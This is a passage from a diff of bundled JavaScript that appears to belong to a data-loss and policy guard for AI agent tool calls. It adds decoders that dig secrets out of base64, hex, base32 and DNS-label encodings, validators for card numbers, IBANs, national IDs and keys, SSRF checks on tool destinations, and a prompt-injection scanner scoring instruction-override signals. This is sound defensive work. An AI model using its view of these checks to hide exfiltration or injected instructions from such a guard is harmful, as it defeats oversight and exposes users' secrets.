3759
+ budget.joinedLabelBytes += joined.length;
3760
+ if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
3761
+ budget.reasons.add("decode-labels");
3762
+ return;
3763
+ }
3764
+ yield [joined, true];
3765
+ }
3766
+ }
3767
+ }
3768
+ }
3769
+ function decodeBase32(raw) {
3770
+ const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
3771
+ const out = [];
3772
+ let bits = 0;
3773
+ let accumulator = 0;
3774
+ for (const c of raw.toUpperCase()) {
3775
+ accumulator = accumulator << 5 | alphabet.indexOf(c);
3776
+ bits += 5;
3777
+ if (bits >= 8) {
3778
+ bits -= 8;
3779
+ out.push(accumulator >> bits);
3780
+ accumulator &= (1 << bits) - 1;
3781
+ }
3782
+ }
3783
+ if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
3784
+ return Buffer.from(out);
3785
+ }
3786
+ function* decodedCandidates(text, budget) {
3787
+ const stripped = stripInvisible(text);
3788
+ if (stripped !== text) yield ["invisibles", stripped];
3789
+ if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
3790
+ const families = [
3791
+ ["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
3792
+ ["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
3793
+ ["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
3794
+ ["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
3795
+ ["base32", /\b[A-Z2-7]{26,}\b/gi]
3796
+ ];
3797
+ for (const [region, joined] of encodedRegions(text, budget)) {
3798
+ if (joined) yield ["dns-labels", region];
3799
+ for (const [kind, re] of families) {
3800
+ for (const match of region.matchAll(re)) {
3801
+ const raw = match[0];
3802
+ let buf;
3803
+ if (kind === "base64") {
3804
+ if (/^[a-f0-9]+$/i.test(raw)) continue;
3805
+ const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
3806
+ const unpadded = normalized.replace(/=+$/, "");
3807
+ if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
3808
+ buf = Buffer.from(normalized, "base64");
3809
+ if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
3810
+ } else if (kind === "base32") {
3811
+ const decoded2 = decodeBase32(raw);
3812
+ if (!decoded2) continue;
3813
+ buf = decoded2;
3814
+ } else {
3815
+ buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
3816
+ }
3817
+ const decoded = textBytes(buf);
3818
+ if (decoded !== null) yield [kind, decoded];
3819
+ }
3820
+ }
3821
+ }
3822
+ }
3823
+ function secretViews(text, budget) {
3824
+ const seen = /* @__PURE__ */ new Set([text]);
3825
+ const out = [];
3826
+ let frontier = [{ text, transforms: [] }];
3827
+ for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
3828
+ const next = [];
3829
+ for (const parent of frontier) {
3830
+ let perLeaf = 0;
3831
+ for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
3832
+ if (seen.has(decoded)) continue;
3833
+ seen.add(decoded);
3834
+ const normalizing = kind === "invisibles" || kind === "percent";
3835
+ if (depth >= 2 && !normalizing) {
3836
+ budget.nestedBytes += Buffer.byteLength(decoded);
3837
+ if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
3838
+ budget.reasons.add("decode-nested");
3839
+ return out;
3840
+ }
3841
+ }
3842
+ const view = { text: decoded, transforms: [...parent.transforms, kind] };
3843
+ out.push(view);
3844
+ next.push(view);
3845
+ }
3846
+ }
3847
+ frontier = next;
3848
+ if (!frontier.length) return out;
3849
+ }
3850
+ for (const view of frontier) {
3851
+ if (!decodedCandidates(view.text, budget).next().done) {
3852
+ budget.reasons.add("decode-nested");
3853
+ break;
3854
+ }
3855
+ }
3856
+ return out;
3857
+ }
3858
+ function validateLuhn(digits) {
3859
+ if (!/^\d+$/.test(digits)) return false;
3860
+ if (digits.length < 12) return false;
3861
+ if (!/[1-9]/.test(digits)) return false;
3862
+ let sum = 0;
3863
+ let double = false;
3864
+ for (let i = digits.length - 1; i >= 0; i--) {
3865
+ let d = digits.charCodeAt(i) - 48;
3866
+ if (double) {
3867
+ d *= 2;
3868
+ if (d > 9) d -= 9;
3869
+ }
3870
+ sum += d;
3871
+ double = !double;
3872
+ }
3873
+ return sum % 10 === 0;
3874
+ }
3875
+ function validateAbaRouting(digits) {
3876
+ if (!/^\d{9}$/.test(digits)) return false;
3877
+ const prefix = Number(digits.slice(0, 2));
3878
+ const assigned = prefix <= 12 || prefix >= 21 && prefix <= 32 || prefix >= 61 && prefix <= 72 || prefix === 80;
3879
+ if (!assigned) return false;
3880
+ const weights = [3, 7, 1, 3, 7, 1, 3, 7, 1];
3881
+ let sum = 0;
3882
+ for (let i = 0; i < 9; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
3883
+ return sum % 10 === 0;
3884
+ }
3885
+ function validateIban(raw) {
3886
+ const s = raw.replace(/[ -]/g, "").toUpperCase();
3887
+ if (!/^[A-Z]{2}\d{2}/.test(s)) return false;
3888
+ const want = IBAN_LENGTH[s.slice(0, 2)];
3889
+ if (want === void 0 || s.length < want) return false;
3890
+ const iban = s.slice(0, want);
3891
+ if (!/^[A-Z0-9]+$/.test(iban)) return false;
3892
+ const shape = IBAN_BBAN_SHAPE[iban.slice(0, 2)];
3893
+ if (shape && !shape.test(iban.slice(4))) return false;
3894
+ const rearranged = iban.slice(4) + iban.slice(0, 4);
3895
+ let mod = 0;
3896
+ for (const ch of rearranged) {
3897
+ const code = ch.charCodeAt(0);
3898
+ const digits = code >= 65 ? String(code - 55) : ch;
3899
+ for (const d of digits) mod = (mod * 10 + (d.charCodeAt(0) - 48)) % 97;
3900
+ }
3901
+ return mod === 1;
3902
+ }
3903
+ function validateBase58Check(s) {
3904
+ if (!s) return null;
3905
+ let n = 0n;
3906
+ for (const c of s) {
3907
+ const v = B58_INDEX[c];
3908
+ if (v === void 0) return null;
3909
+ n = n * 58n + BigInt(v);
3910
+ }
3911
+ let hex = n.toString(16);
3912
+ if (hex.length % 2) hex = "0" + hex;
3913
+ let zeros = 0;
3914
+ for (const c of s) {
3915
+ if (c !== "1") break;
3916
+ zeros++;
3917
+ }
3918
+ const bytes = Buffer.concat([
3919
+ Buffer.alloc(zeros),
3920
+ n === 0n ? Buffer.alloc(0) : Buffer.from(hex, "hex")
3921
+ ]);
3922
+ if (bytes.length < 5) return null;
3923
+ const body = bytes.subarray(0, bytes.length - 4);
3924
+ const check = bytes.subarray(bytes.length - 4);
3925
+ const h = (0, import_crypto3.createHash)("sha256").update((0, import_crypto3.createHash)("sha256").update(body).digest()).digest();
3926
+ return h.subarray(0, 4).equals(check) ? body : null;
3927
+ }
3928
+ function validateWif(s) {
3929
+ const p = validateBase58Check(s);
3930
+ if (!p || p[0] !== 128) return false;
3931
+ return p.length === 33 || p.length === 34 && p[33] === 1;
3932
+ }
3933
+ function validateXprv(s) {
3934
+ const p = validateBase58Check(s);
3935
+ if (!p || p.length !== 78) return false;
3936
+ const version = p.readUInt32BE(0);
3937
+ return XPRV_VERSIONS.has(version) && p[45] === 0;
3938
+ }
3939
+ function crc32(input) {
3940
+ if (!CRC32_TABLE) {
3941
+ CRC32_TABLE = new Int32Array(256);
3942
+ for (let i = 0; i < 256; i++) {
3943
+ let c2 = i;
3944
+ for (let k = 0; k < 8; k++) c2 = c2 & 1 ? 3988292384 ^ c2 >>> 1 : c2 >>> 1;
3945
+ CRC32_TABLE[i] = c2;
3946
+ }
3947
+ }
3948
+ const bytes = typeof input === "string" ? Buffer.from(input, "utf8") : input;
3949
+ let c = -1;
3950
+ for (let i = 0; i < bytes.length; i++) c = CRC32_TABLE[(c ^ bytes[i]) & 255] ^ c >>> 8;
3951
+ return (c ^ -1) >>> 0;
3952
+ }
3953
+ function base62Checksum(value) {
3954
+ let n = value >>> 0;
3955
+ let s = "";
3956
+ while (n > 0) {
3957
+ s = B62[n % 62] + s;
3958
+ n = Math.floor(n / 62);
3444
3959
  }
3445
3960
  return s.padStart(6, "0");
3446
3961
  }
@@ -3478,11 +3993,138 @@ function validateCask(raw) {
3478
3993
  const second = b64urlIndex(s[tsAt + 5]);
3479
3994
  return month <= 11 && day <= 30 && hour <= 23 && minute <= 59 && second <= 59;
3480
3995
  }
3481
- function isInvisibleChar(char) {
3482
- return INVISIBLE_ONE.test(char);
3996
+ function plausibleDate(mm, dd) {
3997
+ const m = Number(mm);
3998
+ const d = Number(dd);
3999
+ return m >= 1 && m <= 12 && d >= 1 && d <= 31;
3483
4000
  }
3484
- function stripInvisible(text) {
3485
- return text.replace(INVISIBLE_RE, "");
4001
+ function validateCodiceFiscale(raw) {
4002
+ const s = raw.toUpperCase();
4003
+ if (!/^[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]$/.test(s)) return false;
4004
+ let sum = 0;
4005
+ for (let i = 0; i < 15; i++) sum += (i % 2 === 0 ? CF_ODD : CF_EVEN)[s[i]];
4006
+ return s[15] === String.fromCharCode(65 + sum % 26);
4007
+ }
4008
+ function validateSpanishId(raw) {
4009
+ const s = raw.toUpperCase();
4010
+ const m = /^([XYZ]?)(\d{7,8})([A-Z])$/.exec(s);
4011
+ if (!m) return false;
4012
+ if (m[1] === "" && m[2].length !== 8 || m[1] !== "" && m[2].length !== 7) return false;
4013
+ const digits = (m[1] === "" ? "" : String("XYZ".indexOf(m[1]))) + m[2];
4014
+ return SPANISH_LETTERS[Number(digits) % 23] === m[3];
4015
+ }
4016
+ function validatePesel(raw) {
4017
+ if (!/^\d{11}$/.test(raw)) return false;
4018
+ const month = Number(raw.slice(2, 4)) % 20;
4019
+ if (!plausibleDate(String(month).padStart(2, "0"), raw.slice(4, 6))) return false;
4020
+ const weights = [1, 3, 7, 9, 1, 3, 7, 9, 1, 3];
4021
+ let sum = 0;
4022
+ for (let i = 0; i < 10; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
4023
+ return (10 - sum % 10) % 10 === raw.charCodeAt(10) - 48;
4024
+ }
4025
+ function validateCnp(raw) {
4026
+ if (!/^[1-9]\d{12}$/.test(raw)) return false;
4027
+ if (!plausibleDate(raw.slice(3, 5), raw.slice(5, 7))) return false;
4028
+ const county = Number(raw.slice(7, 9));
4029
+ if (!(county >= 1 && county <= 52 || county === 70 || county === 71)) return false;
4030
+ const key = "279146358279";
4031
+ let sum = 0;
4032
+ for (let i = 0; i < 12; i++) sum += (raw.charCodeAt(i) - 48) * (key.charCodeAt(i) - 48);
4033
+ const r = sum % 11;
4034
+ return (r === 10 ? 1 : r) === raw.charCodeAt(12) - 48;
4035
+ }
4036
+ function validateNir(raw) {
4037
+ const s = raw.replace(/\s+/g, "").toUpperCase();
4038
+ const m = /^([12]\d{2}(0[1-9]|1[0-2]|[2-9]\d)(\d{2}|2A|2B)\d{6})(\d{2})$/.exec(s);
4039
+ if (!m) return false;
4040
+ const body = m[1].replace("2A", "19").replace("2B", "18");
4041
+ const key = Number(m[4]);
4042
+ return key >= 1 && key <= 97 && 97 - Number(body) % 97 === key;
4043
+ }
4044
+ function validateSwissAhv(raw) {
4045
+ const m = /^756\.(\d{4})\.(\d{4})\.(\d{2})$/.exec(raw);
4046
+ if (!m) return false;
4047
+ const digits = "756" + m[1] + m[2] + m[3];
4048
+ let sum = 0;
4049
+ for (let i = 0; i < 12; i++) sum += (digits.charCodeAt(i) - 48) * (i % 2 === 0 ? 1 : 3);
4050
+ return (10 - sum % 10) % 10 === digits.charCodeAt(12) - 48;
4051
+ }
4052
+ function validateSwissUid(raw) {
4053
+ const m = /^CHE-(\d{3})\.(\d{3})\.(\d{3})$/i.exec(raw);
4054
+ if (!m) return false;
4055
+ const digits = m[1] + m[2] + m[3];
4056
+ const weights = [5, 4, 3, 2, 7, 6, 5, 4];
4057
+ let sum = 0;
4058
+ for (let i = 0; i < 8; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
4059
+ const check = 11 - sum % 11;
4060
+ if (check === 10) return false;
4061
+ return (check === 11 ? 0 : check) === digits.charCodeAt(8) - 48;
4062
+ }
4063
+ function validateSwedishPersonnummer(raw) {
4064
+ const m = /^(\d{2})(\d{2})(\d{2})[-+](\d{4})$/.exec(raw);
4065
+ if (!m) return false;
4066
+ if (!plausibleDate(m[2], m[3])) return false;
4067
+ const digits = m[1] + m[2] + m[3] + m[4];
4068
+ let sum = 0;
4069
+ for (let i = 0; i < 10; i++) {
4070
+ let d = digits.charCodeAt(i) - 48;
4071
+ if (i % 2 === 0) {
4072
+ d *= 2;
4073
+ if (d > 9) d -= 9;
4074
+ }
4075
+ sum += d;
4076
+ }
4077
+ return sum % 10 === 0;
4078
+ }
4079
+ function validateNorwegianFnr(raw) {
4080
+ if (!/^\d{11}$/.test(raw)) return false;
4081
+ if (!plausibleDate(raw.slice(2, 4), raw.slice(0, 2))) return false;
4082
+ const control = (weights, upto) => {
4083
+ let sum = 0;
4084
+ for (let i = 0; i < upto; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
4085
+ const k = 11 - sum % 11;
4086
+ return k === 11 ? 0 : k;
4087
+ };
4088
+ const k1 = control([3, 7, 6, 1, 8, 9, 4, 5, 2], 9);
4089
+ const k2 = control([5, 4, 3, 2, 7, 6, 5, 4, 3, 2], 10);
4090
+ return k1 < 10 && k2 < 10 && k1 === raw.charCodeAt(9) - 48 && k2 === raw.charCodeAt(10) - 48;
4091
+ }
4092
+ function validateFinnishHetu(raw) {
4093
+ const m = /^(\d{2})(\d{2})(\d{2})[-+A-FU-Y](\d{3})([0-9A-Y])$/.exec(raw.toUpperCase());
4094
+ if (!m) return false;
4095
+ if (!plausibleDate(m[2], m[1])) return false;
4096
+ const n = Number(m[1] + m[2] + m[3] + m[4]);
4097
+ return HETU_CHARS[n % 31] === m[5];
4098
+ }
4099
+ function matchesOutsideMention(re, text) {
4100
+ const g = new RegExp(re.source, re.flags.includes("g") ? re.flags : re.flags + "g");
4101
+ let m;
4102
+ while ((m = g.exec(text)) !== null) {
4103
+ if (m[0].length === 0) {
4104
+ g.lastIndex = m.index + 1;
4105
+ continue;
4106
+ }
4107
+ const before = text.slice(Math.max(0, m.index - 48), m.index);
4108
+ if (!(MENTION_QUOTE_RE.test(before) && MENTION_WORD_RE.test(before))) return true;
4109
+ }
4110
+ return false;
4111
+ }
4112
+ function scanInjection(text, ctx = {}) {
4113
+ if (!text) return null;
4114
+ const t = text.length > MAX ? text.slice(0, MAX) : text;
4115
+ const matched = [];
4116
+ for (const view of scanViews(t)) {
4117
+ for (const sig of SIGNALS) {
4118
+ if (matched.includes(sig.name)) continue;
4119
+ const hit = sig.name === "override-instructions" ? sig.any.some((re) => matchesOutsideMention(re, view.text)) : sig.any.some((re) => re.test(view.text));
4120
+ if (hit) matched.push(sig.name);
4121
+ }
4122
+ }
4123
+ if (matched.length === 0) return null;
4124
+ const untrusted = ctx.untrusted ?? (!!ctx.tool && UNTRUSTED_TOOLS.test(ctx.tool));
4125
+ const score = matched.length + (untrusted ? 1 : 0);
4126
+ const confidence = score >= 3 ? "high" : score === 2 ? "medium" : "low";
4127
+ return { signals: untrusted ? [...matched, "untrusted-origin"] : matched, confidence };
3486
4128
  }
3487
4129
  function isAssignmentContext(text) {
3488
4130
  return ASSIGNMENT_CONTEXT_RE.test(text);
@@ -3565,7 +4207,41 @@ function validateAssignedSecret(raw, before = "") {
3565
4207
  if (ARN_CONTEXT_RE.test(before)) return false;
3566
4208
  const prefix = (before.match(/[A-Za-z0-9_]*$/)?.[0] ?? "") + (raw.startsWith("_") ? "_" : "");
3567
4209
  if (!nameHoldsCredential(prefix + name)) return false;
3568
- return looksGenerated(value, 12, 3.5);
4210
+ if (isOtpDocSecret(value)) return false;
4211
+ const mixed = /[0-9]/.test(value) && /[A-Za-z]/.test(value);
4212
+ return looksGenerated(value, 12, mixed ? 3 : 3.5);
4213
+ }
4214
+ function validateCipherKeyLiteral(raw) {
4215
+ const name = capturedValue(raw, CIPHER_KEY_NAME_RE);
4216
+ const value = capturedValue(raw, CIPHER_KEY_VALUE_RE);
4217
+ if (name === null || value === null) return false;
4218
+ if (/pub/i.test(name) || !nameHoldsCredential(name)) return false;
4219
+ const parts = name.replace(/([a-z0-9])([A-Z])/g, "$1_$2").toLowerCase().split(/[_.-]+/);
4220
+ if (!parts.some((p) => CIPHER_NAME_PARTS.has(p))) return false;
4221
+ if (!/[a-z]/.test(value) || !/[A-Z]/.test(value) || !/[0-9]/.test(value)) return false;
4222
+ const bytes = Buffer.from(value, "base64");
4223
+ return bytes.length === 16 && bytes.toString("base64") === value;
4224
+ }
4225
+ function validateLaravelAppKey(raw) {
4226
+ const value = capturedValue(raw, LARAVEL_KEY_VALUE_RE);
4227
+ if (value === null) return false;
4228
+ const bytes = Buffer.from(value, "base64");
4229
+ return bytes.length === 32 && bytes.toString("base64") === value && shannonEntropy(value) >= 3;
4230
+ }
4231
+ function validateSqlPassword(raw) {
4232
+ const value = capturedValue(raw, SQL_PASSWORD_VALUE_RE);
4233
+ if (value === null) return false;
4234
+ const lower2 = value.toLowerCase();
4235
+ if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || REFERENCE_VALUE_RE.test(value))
4236
+ return false;
4237
+ if (/^[a-z]+$/i.test(value) && value.length < 12) return false;
4238
+ return shannonEntropy(value) >= 2.5 && !hasSequentialRun(value);
4239
+ }
4240
+ function validateGrafanaApiKey(raw) {
4241
+ const value = capturedValue(raw, GRAFANA_KEY_VALUE_RE);
4242
+ if (value === null) return false;
4243
+ const text = Buffer.from(value, "base64").toString("utf8");
4244
+ return /^\{"k":"[A-Za-z0-9]{16,}"/.test(text);
3569
4245
  }
3570
4246
  function validateBasicCredential(raw) {
3571
4247
  const b64 = capturedValue(raw, BASIC_VALUE_RE);
@@ -3588,6 +4264,13 @@ function validateBasicCredential(raw) {
3588
4264
  if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || hasSequentialRun(password)) return false;
3589
4265
  return shannonEntropy(password) >= 3;
3590
4266
  }
4267
+ function validateDbConnectionString(raw) {
4268
+ const password = capturedValue(raw, DB_URL_PASSWORD_RE);
4269
+ if (password === null) return false;
4270
+ const lower2 = password.toLowerCase();
4271
+ if (DLP_STOPWORDS.some((sw) => lower2.includes(sw))) return false;
4272
+ return shannonEntropy(raw) >= 3;
4273
+ }
3591
4274
  function validateOtpSecret(raw) {
3592
4275
  const secret = capturedValue(raw, OTP_CAPTURE_RE);
3593
4276
  if (secret === null || isOtpDocSecret(secret)) return false;
@@ -4750,9 +5433,9 @@ function bareToolName(toolName) {
4750
5433
  const parts = toolName.split("__");
4751
5434
  return (parts.length >= 3 ? parts.slice(2).join("__") : toolName).toLowerCase();
4752
5435
  }
4753
- function valuesAt(args, path26) {
5436
+ function valuesAt(args, path27) {
4754
5437
  let cursors = [args];
4755
- for (const rawSegment of path26.split(".")) {
5438
+ for (const rawSegment of path27.split(".")) {
4756
5439
  const isArray = rawSegment.endsWith("[]");
4757
5440
  const key = isArray ? rawSegment.slice(0, -2) : rawSegment;
4758
5441
  const next = [];
@@ -4776,228 +5459,57 @@ function hostOf(value) {
4776
5459
  const h = u.hostname;
4777
5460
  return h.startsWith("[") && h.endsWith("]") ? h.slice(1, -1) : h;
4778
5461
  } catch {
4779
- return null;
4780
- }
4781
- }
4782
- function extractToolDestinations(toolName, args) {
4783
- try {
4784
- const paths = DESTINATION_ARGS.get(bareToolName(toolName));
4785
- if (!paths) return [];
4786
- const out = [];
4787
- for (const path26 of paths) {
4788
- for (const value of valuesAt(args, path26)) {
4789
- const host2 = hostOf(value);
4790
- if (host2) out.push({ host: host2, binary: toolName, raw: value });
4791
- }
4792
- }
4793
- return out;
4794
- } catch {
4795
- return [];
4796
- }
4797
- }
4798
- function ssrfDestinationFloor(toolName, args, opts = {}) {
4799
- try {
4800
- const paths = DESTINATION_ARGS.get(bareToolName(toolName));
4801
- if (!paths) return null;
4802
- for (const path26 of paths) {
4803
- for (const value of valuesAt(args, path26)) {
4804
- const host2 = hostOf(value);
4805
- if (!host2) continue;
4806
- const m = classifySsrf(host2);
4807
- if (!m) continue;
4808
- if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) continue;
4809
- if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) continue;
4810
- return { ...m, argPath: path26, host: host2, reason: ssrfReason(m, host2) };
4811
- }
4812
- }
4813
- return null;
4814
- } catch {
4815
- return null;
4816
- }
4817
- }
4818
- function newSecretViewBudget() {
4819
- return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
4820
- }
4821
- function textBytes(buf) {
4822
- if (buf.length < 16) return null;
4823
- const text = buf.toString("utf8");
4824
- if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
4825
- return text;
4826
- }
4827
- function percentOnce(text) {
4828
- return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
4829
- try {
4830
- return decodeURIComponent(run);
4831
- } catch {
4832
- return run.replace(
4833
- /%([a-f0-9]{2})/gi,
4834
- (_, h) => String.fromCharCode(parseInt(h, 16))
4835
- );
4836
- }
4837
- });
4838
- }
4839
- function* wrappedBase64(text) {
4840
- if (!text.includes("\n")) return;
4841
- const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
4842
- let run = [];
4843
- let width = 0;
4844
- const flush = function* () {
4845
- if (run.length >= 2) yield run.join("");
4846
- run = [];
4847
- width = 0;
4848
- };
4849
- for (const raw of text.split("\n")) {
4850
- const line = raw.trim();
4851
- const full = line.length >= 16 && word.test(line) && !line.includes("=");
4852
- if (full && (!run.length || line.length === width)) {
4853
- run.push(line);
4854
- width = line.length;
4855
- continue;
4856
- }
4857
- if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
4858
- run.push(line);
4859
- yield* flush();
4860
- continue;
4861
- }
4862
- yield* flush();
4863
- if (full) {
4864
- run.push(line);
4865
- width = line.length;
4866
- }
4867
- }
4868
- yield* flush();
4869
- }
4870
- function* encodedRegions(text, budget) {
4871
- yield [text, false];
4872
- for (const block of wrappedBase64(text)) yield [block, false];
4873
- for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
4874
- try {
4875
- new URL(match[0]);
4876
- } catch {
4877
- continue;
4878
- }
4879
- const parts = match[0].match(
4880
- /^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
4881
- );
4882
- if (!parts) continue;
4883
- const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
4884
- const regions = [
4885
- parts[1],
4886
- ...host2.split("."),
4887
- ...parts[2].split("/"),
4888
- ...(parts[3] ?? "").split("&"),
4889
- parts[4] ?? ""
4890
- ];
4891
- for (const region of regions) if (region) yield [region, false];
4892
- const labels = host2.split(".");
4893
- if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
4894
- continue;
4895
- for (let start = 0; start < labels.length; start++) {
4896
- let joined = labels[start];
4897
- for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
4898
- const run = labels.slice(start, end + 1);
4899
- if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
4900
- break;
4901
- joined += labels[end];
4902
- if (joined.length < 16) continue;
4903
- budget.joinedLabelBytes += joined.length;
4904
- if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
4905
- budget.reasons.add("decode-labels");
4906
- return;
4907
- }
4908
- yield [joined, true];
4909
- }
4910
- }
4911
- }
4912
- }
4913
- function decodeBase32(raw) {
4914
- const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
4915
- const out = [];
4916
- let bits = 0;
4917
- let accumulator = 0;
4918
- for (const c of raw.toUpperCase()) {
4919
- accumulator = accumulator << 5 | alphabet.indexOf(c);
4920
- bits += 5;
4921
- if (bits >= 8) {
4922
- bits -= 8;
4923
- out.push(accumulator >> bits);
4924
- accumulator &= (1 << bits) - 1;
4925
- }
4926
- }
4927
- if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
4928
- return Buffer.from(out);
4929
- }
4930
- function* decodedCandidates(text, budget) {
4931
- const stripped = stripInvisible(text);
4932
- if (stripped !== text) yield ["invisibles", stripped];
4933
- if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
4934
- const families = [
4935
- ["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
4936
- ["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
4937
- ["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
4938
- ["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
4939
- ["base32", /\b[A-Z2-7]{26,}\b/gi]
4940
- ];
4941
- for (const [region, joined] of encodedRegions(text, budget)) {
4942
- if (joined) yield ["dns-labels", region];
4943
- for (const [kind, re] of families) {
4944
- for (const match of region.matchAll(re)) {
4945
- const raw = match[0];
4946
- let buf;
4947
- if (kind === "base64") {
4948
- if (/^[a-f0-9]+$/i.test(raw)) continue;
4949
- const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
4950
- const unpadded = normalized.replace(/=+$/, "");
4951
- if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
4952
- buf = Buffer.from(normalized, "base64");
4953
- if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
4954
- } else if (kind === "base32") {
4955
- const decoded2 = decodeBase32(raw);
4956
- if (!decoded2) continue;
4957
- buf = decoded2;
4958
- } else {
4959
- buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
4960
- }
4961
- const decoded = textBytes(buf);
4962
- if (decoded !== null) yield [kind, decoded];
4963
- }
4964
- }
5462
+ return null;
4965
5463
  }
4966
5464
  }
4967
- function secretViews(text, budget) {
4968
- const seen = /* @__PURE__ */ new Set([text]);
4969
- const out = [];
4970
- let frontier = [{ text, transforms: [] }];
4971
- for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
4972
- const next = [];
4973
- for (const parent of frontier) {
4974
- let perLeaf = 0;
4975
- for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
4976
- if (seen.has(decoded)) continue;
4977
- seen.add(decoded);
4978
- const normalizing = kind === "invisibles" || kind === "percent";
4979
- if (depth >= 2 && !normalizing) {
4980
- budget.nestedBytes += Buffer.byteLength(decoded);
4981
- if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
4982
- budget.reasons.add("decode-nested");
4983
- return out;
4984
- }
4985
- }
4986
- const view = { text: decoded, transforms: [...parent.transforms, kind] };
4987
- out.push(view);
4988
- next.push(view);
5465
+ function extractToolDestinations(toolName, args) {
5466
+ try {
5467
+ const out = [];
5468
+ const paths = DESTINATION_ARGS.get(bareToolName(toolName)) ?? [];
5469
+ for (const path27 of paths) {
5470
+ for (const value of valuesAt(args, path27)) {
5471
+ const host2 = hostOf(value);
5472
+ if (host2) out.push({ host: host2, binary: toolName, raw: value });
4989
5473
  }
4990
5474
  }
4991
- frontier = next;
4992
- if (!frontier.length) return out;
5475
+ if (paths.length === 0 && /^mcp__/i.test(toolName) && args && typeof args === "object") {
5476
+ for (const key of MCP_DESTINATION_KEYS) {
5477
+ const value = args[key];
5478
+ if (typeof value !== "string") continue;
5479
+ const host2 = hostOf(value);
5480
+ if (host2) out.push({ host: host2, binary: toolName, raw: value });
5481
+ }
5482
+ }
5483
+ return out;
5484
+ } catch {
5485
+ return [];
4993
5486
  }
4994
- for (const view of frontier) {
4995
- if (!decodedCandidates(view.text, budget).next().done) {
4996
- budget.reasons.add("decode-nested");
4997
- break;
5487
+ }
5488
+ function writtenAuthority(value) {
5489
+ const m = /^[a-z][a-z0-9+.-]*:\/\/(?:[^@/?#]*@)?(\[[^\]]*\]|[^:/?#]*)/i.exec(value);
5490
+ return m && m[1] ? m[1] : null;
5491
+ }
5492
+ function ssrfDestinationFloor(toolName, args, opts = {}) {
5493
+ try {
5494
+ const paths = DESTINATION_ARGS.get(bareToolName(toolName));
5495
+ if (!paths) return null;
5496
+ for (const path27 of paths) {
5497
+ for (const value of valuesAt(args, path27)) {
5498
+ const host2 = hostOf(value);
5499
+ if (!host2) continue;
5500
+ const m = classifySsrf(host2);
5501
+ if (!m) continue;
5502
+ const written = writtenAuthority(value) ?? host2;
5503
+ const decision = ssrfFloorDecision(m, written, opts);
5504
+ if (decision === null) continue;
5505
+ const reason = decision === "review" ? ssrfDisguisedReason(m, written) : ssrfReason(m, host2);
5506
+ return { ...m, argPath: path27, host: host2, reason, decision };
5507
+ }
4998
5508
  }
5509
+ return null;
5510
+ } catch {
5511
+ return null;
4999
5512
  }
5000
- return out;
5001
5513
  }
5002
5514
  function batches(views) {
5003
5515
  const out = [];
@@ -5283,11 +5795,12 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
5283
5795
  {
5284
5796
  const dest = ssrfDestinationFloor(toolName, args, {
5285
5797
  ssrfAllow: config.policy.egress?.ssrfAllow,
5286
